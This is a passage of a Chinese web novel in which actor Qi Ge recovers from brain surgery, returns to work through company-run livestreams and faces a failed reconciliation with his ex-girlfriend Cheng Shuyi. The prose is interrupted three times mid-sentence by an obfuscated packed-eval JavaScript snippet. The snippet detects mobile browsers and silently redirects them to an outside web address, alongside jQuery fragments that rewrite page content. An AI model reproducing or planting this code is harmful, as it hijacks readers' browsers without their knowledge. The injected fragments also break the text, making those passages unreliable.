“手术之后他就像个小孩子一样,”祁歌的妈妈当面跟阿远说小话蛐蛐他,“姑娘,咱不跟他一般见识,要不要吃点橘子?” “谢谢阿姨,”阿远露出长辈专用笑容,“您辛苦啦,我下次来带点工具,帮我哥收拾一下……不不没事不麻烦,我之前就是他助理。” 祁歌妈妈留阿远多坐一会儿,说先出去打水,给他们聊。 “好,阿姨您忙。” 祁歌的身体还不太能自如行动,肩背薄得像张纸,坐靠在床头将视线轻飘飘地重新落在阿远身上:“最近工作怎么样?” “哇哥你还有脸问我工作,”阿远没忍住白眼他,“你不知道为了挽救你的口碑我做了多少努力!” “怎么说?”祁歌好似来了点兴趣。 阿远得令开始吐槽:“当时您老说走就走,给我们扔下一堆烂摊子,剧宣是做不了一点儿,一整个月出镜率0,别说人家剧粉,你自己的粉丝都要把公司骂倒闭了。” 祁歌笑了一声。 他笑起来嘴巴还有一点点不太正,阿远注意到了,话音稍微梗了一下。 “怎么,我现在很丑?”祁歌敛了表情问。 “不是,”阿远立即否认,“是……很惨,不愧是我精心设计的热搜词条。” 史上最惨男主。 祁歌显然也看到过这个词条,又对她笑了笑。 遥想祁歌手术的那天,这个词条在一众热搜中大获成功、脱颖而出的时候,阿远还在惴惴不安地担心祁歌离死亡到底有多近。 她当然去查过这个病。 网页翻了好几页,没有得到什么让人乐观的结论。 如果,她在想如果,祁歌有一天真的……走到了生命的结尾,会不会怪她呢? 会不会觉得她冷漠无情,配合公司打造这些吃人的热搜,为他的命卖了好价钱。 她当即很想立刻就去找程书仪,然后由程书仪来冷静理智地告诉她:这只是工作而已,她不做别人也会做。祁歌活着做不到的事,死了做到不是也很好? 我在想什么!阿远猛然从离谱的幻想中清醒过来,为自己对程书仪的不礼貌脑补而疯狂内心致歉。 热搜的效果很好,舆论里同情和理解居多。 然而一份完成得不错的工作后面是接踵而来的更多工作。 忙碌之余,阿远再次联系程书仪,问到底什么时候能见面。 “我周一回去,”程书仪答道,“你下周哪天有空?” “几点?” “?” 能让程书仪被惊讶到,也算她阿远的本事了。 几天后去机场截堵程书仪之前,阿远先去过一次医院。 当时祁歌状态很差,陷入昏睡还没醒,鼻子下面连着氧气管,一双浓密的睫毛微微颤动着,额头上还贴着退热贴。 “发烧了?”阿远戴着口罩小声问祁歌的妈妈。 “一直发烧,血压也不稳定,”祁歌妈妈一说话眼圈就开始红,“他很疼,还一直说没事。” 阿远听得叹了口气:“祁哥是这样的。” 她只来得及稍微劝慰了祁歌的妈妈几句,便匆匆打车赶往机场。 周一,恰好是公司确定的消息发布时间,阿远想着自己无论如何总要先一步跟程书仪说。 但她想了很多种说法,没有一种能称得上“合适”。 车子靠近机场时,天空一点点暗下来,窗外的树木化作黑色的影子飞掠而过,阿远是真的觉得尝到一点绝望的滋味。 怎么办呢,在她有限的人生里从没经历过这些,没人教过她如何传达这种消息,如何接受这种消息,以及……如何面对这种消息。 正要去见的这个人,她会有一个答案吗? 阿远对自己不由自主地想要依赖程书仪的惯性而感到更加绝望。 她跟程书仪之间的联系,其实只有祁歌而已。 只有群里面偶尔的聊天、开玩笑喊出的爸爸妈妈、偶尔的顺手投喂……在迪士尼里他们可以做一家人,上演永远不会成真的童话。 可是回到现实,抛开中间的祁歌,她们原本就是没什么共同话题的两个人。 在机场坐在程书仪的对面,接完那个来自高姐的电话之后,阿远是真的怔愣了很久。 久到程书仪差点以为那边传来了什么噩耗。 “不是……就是……”她急着开口时才发现呼吸有点颤抖,有水滴从脸颊划过。 程书仪已经非常贴心地给她递了纸巾。 原来不是因为她空白了太久,而是因为她哭了。 “程姐,祁哥没事。”阿远对程书仪说。 就在不久之前,祁歌坠马受伤之后,她在电话里对程书仪说的第一句也是这个。 现在回想起来,觉得恍如隔世。 “……没事?” “对,高姐说他的家人跟公司说了,今天报告出来,医生说是什么……炎症,假瘤?不是绝症的那种……当然也不是说立刻爬起来就没事了,但是不用那什么,化疗什么的了。” 一句话让阿远传达得磕磕绊绊,程书仪竟然听懂了:“脑胶质瘤是会被误诊成炎性假瘤,是病理结果出来了?” “啊对对对,”阿远简直想翘大拇指,“程姐,我不知道理解得对不对,就是……祁歌是不是不用死了?” 程书仪轻舒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609095|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气,对她笑了笑:“不会立刻死,但人都是会死的……好了,别哭了。” 想到这里,阿远小心翼翼地观察着祁歌的神色:“哥,你跟程姐……怎么样了。” “能怎么样……” 到底是大病一场,祁歌整个人都很虚弱。才不过说了这么几句话,他的状态已经显出疲惫,仿佛连坐直都困难,说话轻缓像是勉强吊着一口气。 阿远还真有点怕自己哪一句话说得太用力,把他这口气给吹散了。 “手术之前,我跟她分开了,”祁歌仰头靠在床板上,又忽然凝了目光打量阿远,“这个你已经知道了是吧?” “很难不知道吧……”阿远露出苦笑,“实不相瞒,你的事儿还是我告诉她的。那天你那个什么报告出来的时候,我正跟她在一起愁云惨雾。” 祁歌闻言垂眼想了想,才又勾起嘴角:“那谢谢你了,阿远,其实我……我当时瞒着你是因为……” 他的话停在中间,病房陷入了短暂的沉默。 阿远知道这个时候自己该说点什么,接住他的话茬,或是提供点情绪价值干脆让他不要说了。 可是她又是真的想知道。 天知道这段时间她为了这个承受了太多,也自我说服了太多,她有权利知道。 “……我就是不想你瞎操心,也担心你没办法保密,”祁歌最后说,“……对不起。” 他说话时无意识地用右手搓了搓左边的手臂。 那双本就修长细瘦的手如今更显枯槁,上面的留置针连着输液瓶,里面的液体正争先恐后地从管子里滴下来,经过输液器流入祁歌凸起的嶙峋血管。 刚才听祁歌妈妈说他最近炎症有点反复,偶尔低烧,也不怎么吃得下东西,医生给加了营养液。 阿远深深吸了口气。 “哥,”她说,“我还叫你哥,是因为舍不得你,也心疼你,不是说我不在意了。” 祁歌望着她,轻轻点了点头。 “反正我……哎呀救命我真是不太擅长说这种话,”阿远正儿八经了十秒就无奈破功,叹着气抬头去看输液瓶,“哥你手冷吗?这个输液的速度怎么调,是不是太快了?” “一般是40,”祁歌说,“你可别给我关了。” “我知道我知道,不就不小心关了一次吗,记到现在……”阿远小声嘟囔,“祁哥小气鬼。” 祁歌妈妈回来病房之后,阿远从随身的包里掏出用纸包着的一袋东西递过去。 “对了阿姨,这是一个……朋友托我带过来的,”她尽量小声地说,“是刺梨干,泡水喝的。” 她悄悄回头看了眼祁歌的反应。 大概是真的太累了,祁歌似乎没有听到,只垂着眼望着他之前在写的那几页纸发呆。 “哥你这是什么,小学生流水账吗?”阿远故意凑过去调笑。 祁歌摇摇头,说日记是医生让写的,要他积极锻炼脑子和四肢。 “啧啧,”阿远一脸痛心疾首,“你看看,你现在头脑简单,四肢也不发达,这可怎么办……” “你给我滚!”祁歌怒骂一声,终于透出点鲜活的人气儿来。 阿远笑嘻嘻地招手作别:“那我走了哥,你放宽心好好休息,有空再来看你。下次要健步如飞思维敏捷!” 祁歌妈妈送她出门前,祁歌愤怒的眼神如同飞刀一样追着她跑。 阿远进了电梯才收起了笑容。 她也说不出心里到底是什么感觉,可能那种不被信任的伤心褪去后,再看到祁歌时,还是心疼和心酸多一点。 她还想为祁歌做些事,她想……她想看到祁歌漂漂亮亮地走到光的下面。 但在那之前,她还有很多事要做。 ……爸爸妈妈分开了,孩子也是要生活的。 11月20日 都跟高姐说了不用来看我,谁都不用来。 ……好痛 57. 营业中 故事本该结束在这里的。 站在高楼下,祁歌望着天边云朵的倒影如同在水中漂流一般缓缓移出楼面上的玻璃,这样不着边际地想着。 当故事以它该有的方式落幕,戏中人各自走向自己的旅途,灯光熄灭,对白结束,世界原本应该是这样安静的。 可是,他像一个被遗留在故事结局之后的角色。 男主角戏剧化地绝处逢生,这种情节如果发生在故事的开头或是中间,可能会引发出许多新的故事。 可惜,现在已经不重要了。 岁近年暮,冬天开始展示出它狰狞的一面,每天寒风凛冽。 但今天是难得的好天气。 无风无雪,温热的阳光悄然洒落下来,将空气里染上丝丝缕缕的暖意。 今天祁歌是来营业的。 他主演的那部小成本剧最近快要收官了,这部剧获得的关注比原本预计的要高点,不过也还没到霸榜热搜的地步,也就一开始因为男配男主的事儿吸引了一波关注,后续便逐渐淡落下去。 毕竟,互联网上每天都有新鲜事。 现在剧集快要播完了,剧方希望主创们再做一波宣传,也算垂死挣扎一下。 祁歌已经顺利出院在家修养,高姐也不好一直推辞,便去问祁歌愿不愿意配合。 听到这个询问,祁歌先走到镜子前,神经兮兮地对着镜子笑了一下。 手术后他笑起来嘴歪的问题已经基本看不太出来了,但由于太久没有打理,实在形象堪忧,一时很难判断适不适合出去吓人。 “到底行不行给个准话,”高姐等了半天没等到回答,“算了不说了,下午我去你家一趟。” “哎不……”祁歌话还没说出来,电话就被挂断了。 只能说,不愧是高姐。 “你这房子也太小了吧,”高姐一进门就说,“住这儿还不如住宿舍呢。” 公司会给刚入职的新人在公司附近租房,价格有优惠,不过一般是集体分住一整套。 “我多大人了,住宿舍合适吗?”祁歌说,“再说我爸妈过两天就回去了,我一个人住就正好,你先坐。” “现在身体怎么样?你站起来走两步给我看看。”高姐在沙发上坐下,对祁歌吩咐道。 祁歌大骇:“直播还有这种环节?” 高姐叹了口气:“那倒不是,我就想看看你到底恢复到什么情况,阿远跟我说你残了。” “……阿远什么?”祁歌眉毛挑起,恨得牙痒痒。 他承认刚手术过之后那段时间他的行动不太便捷,整个人状态也差,但也不至于就是残了吧! 他尽量稳定地走到高姐面前转了一圈:“我走路没问题,就是慢了点,而且走不了太久。” “行吧,”高姐望着他的动作若有所思,“要不我给你接个那种坐轮椅的角色……” “认真的吗?”祁歌一脑门问号。 “真的啊,你这个剧不是播得还行吗,加上你生病我们炒作了一波,你最近戏约还是有一些的,不过……” 高姐就是高姐,可以把炒作的事说得如此坦坦荡荡理所应当。 太久没工作,祁歌听到“戏约”两个字仿佛看到什么救人的绳子。 “有什么本子?”祁歌赶快问,“剧本发我看看。” 看到他的反应,高姐冷笑了一声,拿起手机刷刷按:“行,你看看。” 这个冷笑的含义,祁歌很快就明白了。 “这……找我的基本都是短剧吗?” “你以为呢,你不觉得你狗血的经历本身就很匹配短剧剧情吗?”高姐摊手,“所以,你自己有什么倾向吗?” “我还想演电影。”祁歌实话实说。 “那不可能。” “为什么?!”祁歌委委屈屈,“不求好角色,接个1或者0.5都不行吗?” 俗话说由奢入俭难,演过那种大制作的影片,他就总想回到那种创作氛围之中。 “等明年你拍那个电影上了或许有机会吧。”高姐应付他说,“行了我走了,明天的直播你别迟到。” 她往门口走了两步,又转回身来:“对了,还是早点到吧,化妆做造型也要时间的。那个轮椅男主的事儿你考虑一下,其实这种角色挺抢手的,但我觉得你有优势。” 优势是……真残了吗。 祁歌为高姐这种对残疾人的零怜悯态度而感到佩服。 最后一朵云飘过去后,整个大楼的玻璃立面变得干净清澈。 如同没有一丝波澜的湖面。 冬天的阳光有一种欺骗性的和煦。 刚刚还充满暖意的空气里似乎隐藏着被冻成固体的冰针,一点点刺穿衣服的防护,扎到人的骨缝里。 祁歌在手心里呵了口气,看着一股白雾轻薄地散逸开来。 他下车后大概也就站在这里耽搁了两分钟,高姐的电话已经催过来了:“我说祖宗你到哪了?化妆镜这边都准备好了,阿远说下去接你……” “我知道了高姐,”祁歌赶紧截断她的焦虑,“我到了。” 他深吸了口气,将口罩拉好,又将帽子往下拽了拽,这才有些费力地抬脚走上楼梯。 “哥你来啦!”有人从玻璃门里冲出来跑到他面前。 “阿远,”祁歌抬头看她,“其实不用接我。” “我今天是你助理,”阿远给他敬了个礼,“怀念吗?” “……说实话吗?” “喂!” 祁歌被打了一下胳膊。 阿远当然没下重手,祁歌却觉得眼眶都有点湿。 化妆师一个小时的妙手回春之后,祁歌终于稍微在镜子里看到点之前的影子。 他瘦了太多,几乎有些形销骨立,但廓形的衣服穿上,头发也被精心做了造型,看着也就没那么明显了。 由于在座位上坐了太久,化妆师说“好了”之后,祁歌撑了把椅子扶手,竟然一时没站起来。 幸好阿远站在旁边,眼尖伸手扶了一把。 “谢谢,”祁歌费力地站好,“我拐呢?” 化妆间里静了一下,大家都被逗得笑了起来。 “今天在哪直播啊?还有谁?”祁歌挽着阿远的手走出化妆间。 “今天当然当然是在公司里做单人直播啊,我们宣发的tag是祁歌重病之后首度现身诶!”阿远沾沾自喜地炫耀,“热度还不错!” “你现在做宣发吗?”祁歌问。 “那不是,我还是做助理,现在手上好几个人挺忙的。” “那之前你说要考的那个证……” 祁歌还想继续关心,却被阿远打断:“行了哥你坐这儿看看词儿,高姐都给你写好了,特意让我告诉你不要随意发挥。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618128|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “稿子我已经收到了。”祁歌说,“她说让我在家念熟练,一会儿出现一个螺丝扣我五十。” “这么贵!”阿远吐吐舌头,“一会儿我帮你盯提词器,你千万别乱说话啊。” 祁歌作势不耐烦地伸手掏耳朵,又如愿被阿远愤怒地推了一把。 生病以来他还没有过这么长时间的活动,这会儿已经有点累了。阿远当然也只是轻轻推了他一下,他却忽然有点失去了走路时微妙的平衡,侧着身子在墙壁上撞了一下。 “哎哎哎哥哥哥……”阿远和旁边的工作人员都吓了一大跳,七手八脚地去扶他。 其实对祁歌来说,这算是个常见的小事故。可是在这么多人同时帮忙的情况下,祁歌自己反而不太好掌握平衡,花了更多时间才将将站稳。 周围人们一叠声的询问和关心将他包裹起来,令他觉得有点缺氧。 “没事吗?”阿远凑近了问他,看他点头,这才挥挥手让大家都散了。 祁歌深深呼吸了几次,驱散了眼前的黑雾。 “哥……”阿远的声音里有些犹豫,“直播……” “我可以的,”祁歌定了定神,“来吧。” 阿远拽住他的袖子,用手里的纸巾轻轻帮他拭掉了额上渗出的汗。 由于要遵守不可以瞎说的规定,这场直播对祁歌来说稍微有点艰难。 开播前他要了点水,又吃了一次药。 “这是什么药?”阿远问道。 “这药名老长了,”祁歌笑着说,“总之吃了就能有段时间……不痛。” “很好,”高姐走过来看了眼大家的准备,顺手拍了下祁歌肩膀,“颜在江山在,我看好你。” 祁歌也弯了眼睛对她笑。 整个直播的过程,公司的主持人都会在旁边引导互动。按照流程,祁歌要跟大家打招呼,略微讲讲自己悲惨的手术经历,接着就是介绍这部剧,讲讲拍摄时的情况。 稿子都是高姐核定的,全程不卖惨,只分享有趣的部分,对自己这段时间的因病缺席表示歉意。 流程实在算不上冗长,但祁歌讲到一半就有点撑不下去,他本着超强的职业素养,依然尽力保持了十分饱满的状态。 主持人大概是看到他额上的汗,有意想让他休息会儿,就提议祁歌要不要去喝点水再回来。 她是出于好心,但祁歌自己知道,这时候是真的站不起来了。 “您特别关注的主播已经开播了,快来看看吧!” 程书仪本来在回复消息,看到手机最上面弹出了一条开播消息,习惯性地手一滑就进了直播间。 “真的不用,谢谢你的关心,我们继续聊吧,大家都期待很久了。”屏幕里的人扬起完美的笑容,眉眼弯弯,恰似故人来。 ——等等,这真是故人来了。 程书仪抬头确认了一下主播的id,不是祁歌又是谁。 “后面的拍戏安排……暂时还没有呢,大家有什么想看的吗?”屏幕里的人笑吟吟地回复粉丝的弹幕。 “古装?我也挺喜欢古装的,看看有没有合适的机会……悬疑,悬疑的话我想演坏人……” 他微微低下头的时候,镜头里看得到咬肌绷紧的脸颊轮廓。 程书仪用手指在他蓬松有型的发丝上面轻轻一点。 是否要解除关注? 确定 58. 如果我 直播结束后,祁歌长长地舒了一口气。 高姐今天比较忙,没有在这里全程监督,快结束的时候才过来,看着他们顺利下播,率先为他鼓了个掌。 大家也都自然地跟了掌,一片“祁老师辛苦了”在直播间里此起彼伏。 祁歌没觉得自己做了什么了不起的事,连忙冲大家摆摆手。 阿远适时走到他身边:“哥,怎么样?” 她扶了祁歌一把。 祁歌勉力起身,压过身上的种种不适,又抬起头跟大家道谢挥手,半天才出了门。 “高姐说让你等下去她那儿一趟,”阿远小声跟祁歌说,“先去休息室歇会儿?” 祁歌点点头,跟着阿远进了一间休息室,接过水杯先掏出药来。 “又吃?”阿远忧心忡忡地问他,“哥你这个药几小时吃一次啊?” “别担心,平时我都不吃的,”祁歌说,“这不是有事吗,总要压一压,平时躺床上忍过去就算了。” “……是吗。”阿远有点不忍心去想象他所说的场景,但话已经到了嘴边,也便问了出来,“祁哥,你……心情还行吗?” 祁歌把药丢进嘴里,喝了口水没答话,半天才抬头冲她笑了笑:“现在的话,还不错。” 然而二十分钟后,祁歌便觉得自己心情十分不好了。 “我说你休息也休息挺久了,最近我给你筛选了两个工作,你来看看。”高姐推了两个文件夹给他看,同时又仔仔细细看了看他的脸色。 “找到坐轮椅的残疾人角色了?”祁歌接过来时笑着调侃了一句。 接着翻开文件夹立马就笑不出来了。 “……综艺?” “怎么,看不上综艺?”高姐十分故意地问。 “不是,就是,我这身体……行吗?”祁歌立刻澄清并发出真实的忧虑。 高姐从桌子对面伸手过来替他翻了几页:“是个慢综艺,基本就是日常生活向,你的情况我也跟导演组说了,那边反馈说,跟其他几个艺人沟通了一下,他们都很欢迎的。” “懂了,”祁歌翻看着手里的文件自哂了一声,“都想立温柔体贴照顾人的人设嘛,我正好是个好道具。” “话也不能这么说,”高姐说,“乐观点,至少你还有点用处。” 祁歌冲她皮笑肉不笑:“还真是,谢谢您开导。” 一份文件看完,祁歌给高姐推了回去:“行,我听公司的,确定要接我就去。” “好,另一个呢很简单,也不是公开活动,”高姐又说,“我觉得你去参与一下蛮好的,是你之前拍那个电影的粗剪试映看片会。” 祁歌有几分诧异:“啊?这种一般不都是导演跟制片和投资方……” 说到投资方,他话音不由梗了一下。 高姐瞥了他一眼:“你刚接触电影拍摄,很多事情还不懂,在这种环境可以学到点东西,不光是演技上……” 她还没说完,祁歌就听懂了。 听懂的一瞬间,他感觉心里有点空落落的。 高姐这是在为他的退休着想了。 倘若之后,他的身体恢复不尽如人意,倘若没办法再应对大部分的演员工作,他又能做什么呢? 这个问题祁歌不是没想过。 还认真考虑过去摆摊卖艺之类的选项。 电影拍摄完成后,一般会在几周后做出第一版粗剪,将整个故事和导演的意图简单串联起来,形成一版还没有做好配乐和特效的版本。 第一次看片时,各方主创会根据这版的情况进行讨论,为电影成片提出大致的方向。 在这个过程中,涉及到电影制作的各个环节的工序。 总的来说,就是幕后工作者的日常工作领域。 在这些环节中,是否有适合祁歌的工作……还未可知。 “行,那我去学习一下,”祁歌笑着应道,“谢谢高姐为我争取这个机会。” 他低头确认了一下看片的时间地点议程之类的,抬起头又再低下头。 “她应该不会去的。”高姐主动说。 “啊……”祁歌应了一声,说不清心里是失落还是松了一口气。 毕竟是粗剪版本研讨,大概率都是不邀请投资人的。 不过,等到后期终剪出来,可能会有比较大型的试映活动,到时候…… 祁歌晃晃头,把这些有的没的思绪从脑子里晃走。 “你有没有找她谈谈?”高姐语气很自然地问。 “啊?”祁歌呆滞地望着她。 阿远坐在旁边恨铁不成钢地大叹一口气。 “可以见个面吗?” 程书仪望着这条消息发呆。 这条消息的上一条还是之前她发的那句“祝你早日康复”。 想想好像除了这句,她也没什么别的话要说。 她其实并不介意和已分手的前男友见面或者依然作为认识的人来相处,但是总要彼此先冷静一下吧? 各自moveon了才能岁月静好不是吗? 于是她没回复。 这人发消息并不锲而不舍,但却有点阴魂不散,两天后又发来新消息: “就当是……让我坦诚地告个别,行吗?” “坦诚”两个字映在程书仪眼中,莫名地有点讽刺。 这两个字是在他们的相处之中,她曾经多么求之不得的东西。 她试过追着去了解,也试过耐心地等待,但这些方式都未曾奏效。或许人的性格底色无法改变,祁歌是一个封闭的人,这一点任她如何索求都不会动摇分毫。 他们不合适,这是这么久以来,程书仪客观的评判结果。 所以这人是突然想通了,现在想要聊聊“坦诚”了? 程书仪并不觉得。 “不必了,”她回复道,“我已经知道了。” 不管祁歌想说的是什么,程书仪认为自己都已经知道了。 那些他没能讲出的话,不管是出于胆小懦弱的隐而不宣,或是出于自以为是的好心退场,她都已经懂了。 只是“懂了”并不代表“接受”。 她不是阿远,不会让莫名其妙的心软来操控自己的生活。 如果不出她所料,祁歌大概也已经懂了她的意思。 他们已经足够了解对方,早就应该理智一点,简单告别了。 她看到祁歌那边显示正在输入,想着大概会看到点告别的话,却半天都没有新消息过来。 那么八成是在写小作文了。 程书仪不愿再等,干脆先去做自己的事了。 “如果我……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640418|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祁歌删掉了刚打好几个字,重新输入:“希望你快乐,也希望你永远走向更亮的那端。” 写完看看好像不太合适,又全部删掉,改成:“以后有机会,我们……” ……好像这样说也不太行。 唉。 高姐说,这件事是他做得不对。 “我知道,”祁歌老实承认,“但我当时……” “停停停,”高姐一抬手阻断了他后面的话,“我真是半点也不想听你解释……我都不想听,你想想人家能想听吗?” “她是最聪明的,”祁歌叹了口气,“自然不需要我解释。” 高姐一摊手:“这不就成死结了?” “是啊,”祁歌说,“但我……总要试试嘛。” 目前看来,这次尝试的结果是注定失败了。 书仪,我是真心的。 他最后说。 这很可笑,祁歌心想,在这个世界上,一颗真心能值几块钱呢。 人世间的一切感受与情感都可以用更普适的价值来衡量。很多事情能够延续下去,归根结底也是一种互利。 程书仪这样的人,原本就应该获得她想要的一切。 祁歌只是她曾经认识的一个人,一个失败者。他们的轨迹相交过之后本来就该渐行渐远。 他就算竭尽全力,又能给她什么呢? 就算竭尽全力,他又能得到什么呢? 其实这次重逢后,祁歌常常会产生一种感觉: 她不再需要自己了。 因此,他那时候才会觉得,主动离开是自己唯一能给出的更好的东西。 他没想过要回头,大概她也是。 这如果是故事的结局,还真是很烂的一种。 祁歌望着手机里程书仪的头像,轻轻用指尖在上面敲了两下。 程书仪,我想要改写这结局。 你说,还有可能吗? 祁歌的这场复出直播效果还不错。 虽然骂他的也大有人在,但这次直播还没结束就冲上了热搜,讨论度还挺高的。 大概是看到了这个热度,剧方主动也来联系,说希望祁歌也能来跟其他主演一起上个剧宣直播。 “不了吧……”祁歌举着电话懒懒回答,“不想去,我还是休息吧……” “啧,知道你不想跟那几个主演打交道,但是这个剧……” 高姐话还没说完,就被祁歌打断了:“那几个主演?这剧到底有几个主演啊?” “剧方宣传肯定要把大家都安个主演,但是最后剪辑版本咱戏份也不少……不过这和你有什么关系,你快点给我爬起来上班!” 完了,高姐彻底怒了。 祁歌赶紧服软:“好的好的,姐你发我时间地点。” “真的行吧?”高姐确认道,“我提前派车接你?” “那能不行吗?”祁歌笑道,“放心吧这种强度我可以的,两颗药的事儿。” 听他这样说,高姐很明显又有些担忧:“要是身体太勉强就算了……” “不行,”祁歌一听还来了劲儿,“决不能就这样算了!” “你没发烧吧你!”高姐又骂他,“总之你好好休息,到时候机灵点,那俩人不是善茬。” 那我还能不知道吗……祁歌在心里想。 59. 下班了 祁歌是端着保温杯去上的班。 “哟祁老师好久不见啊。”欣欣和陈逸心两人对他冷冷淡淡,却一开播就装模作样跟祁歌重新热情打招呼。 “大家好,老师们好久不见,”祁歌自然地笑着应道,“之前我都不在,辛苦老师们了。” “怎么会,”欣欣关心地问,“祁老师身体好些了吗?” “已经好了,”祁歌将目光投向镜头,“最近我休养期间都在补我们这部剧,太好看了,我真的一下子追到底,大家有在追吗?” 弹幕里各路粉丝纷纷刷起了打call话术。 其中当然不乏对祁歌的讨伐。 开播前阿远跟剧方和主持人订对过台本和引导方向。一般这种直播,都会提前跟主持人确定好提问,设置弹幕屏蔽词。 这事祁歌跟高姐商量过,决定这次就不设置屏蔽词了。 “那可不行,”陈逸心先不同意了,“这几次直播我都看到有人说些不合适的话,还是屏蔽掉吧,免得影响祁老师心情。” “是吗……”祁歌人畜无害地微笑,“我没关系啦。” 俗话说,能打败心机的,只有真傻。 祁歌最近有点被术后后遗症困扰,常常头疼得厉害,本来就感觉脑子有点转不过来。 那就干脆不转了,省得麻烦。 对此高姐的评价是:“演得不错。” 冤枉啊!祁歌表示,我是脑子是真的有点问题才做的手术啊,忘了吗? “我不信。”高姐冷静抱臂说。 这三个字,如今也明显地出现在欣欣和陈逸心的眼睛里。 祁歌懒得去管他们的小心思,老神在在地喝了口保温杯里的水。 “祁老师大病初愈变得老干部了。”主持人在旁调侃道。 “是,大家也要注意身体,一定要养生。”祁歌答道。 “祁老师的意思是,之前自己过得太过放纵了吗?现在亡羊补牢?”欣欣脸上挂着纯真的笑,随口问出了没出现在台本上的问题。 祁歌眨了眨眼:“老师,你别这样说,不太好吧。” “哎呀对不起祁老师,”欣欣撒了个娇,“我开玩笑乱说的,没有冒犯的意思,祁哥可别生气。” “不是说我,”祁歌很认真地说,“是所有生病的人,他们其实没做错什么事,将心比心,他们听到这样的评价会很受伤。” 他这样一说,欣欣脸上便有些挂不住。 “祁老师说得对,那我们先跟大家道个歉,欣欣老师也不是故意的。”陈逸心解围道。 欣欣赶快双手合十表示歉意,主持人也帮着圆了个场,这个小小的水花便过去了。 陈逸心在剧播期卖力宣传,主持人也夸了几句。 “当然要感谢我的粉丝们努力做热度,太给力了,”陈逸心再次合掌,“除了我的粉丝,欣欣老师的粉丝也非常活跃,对了我看到祁老师也有一些粉丝在自发宣传呢!” “是,”祁歌如他所愿接过话茬,“太给力了,我都觉得你给粉丝发工资了的程度。” 陈逸心的笑容僵在了脸上。 按照流程,他们在简单的轮流采访后,还有个陪看的环节。 “不好意思啊,”祁歌脸上冷汗涔涔,“我可以去倒点水吗?” 撑了这么久,他感觉药效要过去了,这会儿疼痛感如同风雨欲来一阵阵反扑。 “没问题我们等着你!”陈逸心立马说。 看似很体贴,却让祁歌的要求显得有点尴尬。 “不用,你们先开始看,我马上回来。”他拍拍陈逸心的肩。 好在主持人是提前沟通过的,立刻同意了祁歌的建议,让祁歌去调整一下补个妆,同时示意工作人员开始播放。 祁歌出了镜头就有点站不住。 阿远过来他身边扶他,看到祁歌先比了个“嘘”,连忙点了点头。 祁歌的药就放在自己口袋里,他进了卫生间,就着阿远的手喝了口水送了下去。 “要不要休息一会儿?”阿远小声问。 祁歌摇了摇头:“撑得住。” 他自己抬手将额上的汗抹去了。 祁哥到底是祁哥,归来仍是硬汉。阿远对他比了个大拇指。 “祁哥错过了最精彩的一段。”看到祁歌回来,欣欣抬头说。 “是吗,太遗憾了,不过最精彩的永远是下一段嘛。”祁歌对她笑了笑。 “这段我还记得,”陈逸心盯着屏幕说,“当时我刚进组没多久,拍这段的时候我们还即兴了一段。” 屏幕上正在播放的是他们三人的那段现代戏,陈逸心说到恨处一拳过去,祁歌猝不及防地倒在了地上。 “对对对,发挥的就是这一下。”祁歌实事求是平静无波地说。 陈逸心一惊,看了他一眼,这才忙不迭解释:“不是,当时我不是故意要打你啊祁老师……” 祁歌点点头:“当然,我知道,你是入戏了嘛……可惜那条忘词了,后来我们又补了条。” 屏幕后面,陈逸心公司的经纪人脸色已经很难看。 “总之这次拍戏我跟祁老师学到了很多,感谢祁老师的照顾和帮助。”陈逸心接收到信号,开始自动播放背好的客套话。 “不客气。”祁歌淡淡说。 由于他没按常规剧本进行商业互吹,陈逸心脸上着实有些挂不住。 “祁哥也帮了我许多,”欣欣也帮腔说,“可以说是带飞我们两个菜鸡。” 把人抬到这个程度,基本上就是在捧杀了。 祁歌摇摇头:“不敢,我哪里带得动。” 阿远在旁边简直要看呆了,想不通祁歌这是怎么回事,看架势明天就要辞职不干了。 来之前高姐让阿远不必提词,说祁歌心里有数。 ……就这个数吗? 前男友总诈尸怎么办?要不还是拉黑吧。程书仪想着。 她已经手快点到了拉黑选项,才忽然发现这次的消息不是来自祁歌。 怎么是阿远啊? 她赶紧点了取消。 阿远发过来的是一个链接,附言:“共赏”。 链接是一个祁歌的直播切片,并不是实时的画面,也并非完整的直播全程。 那么看看也无妨。 画面里一共三个人,另外一对男女程书仪也见过,是在片场和祁歌搭过戏的两个演员。 记得他们俩排场都挺大,上镜下镜前呼后拥的。 这个直播应该是新的,两个人对祁歌的态度和当时没什么区别,话里话外藏着点锋芒。 只是这次祁歌不知道吃错了什么药,虽然语气上没什么变化,却一句一句地怼了回去。 有点好看。程书仪不由笑了出来。 她给阿远回消息:兔子急了也会咬人啊。 “是吧?”阿远回了个哈哈大笑的表情,“也是看到老实人发疯了。” 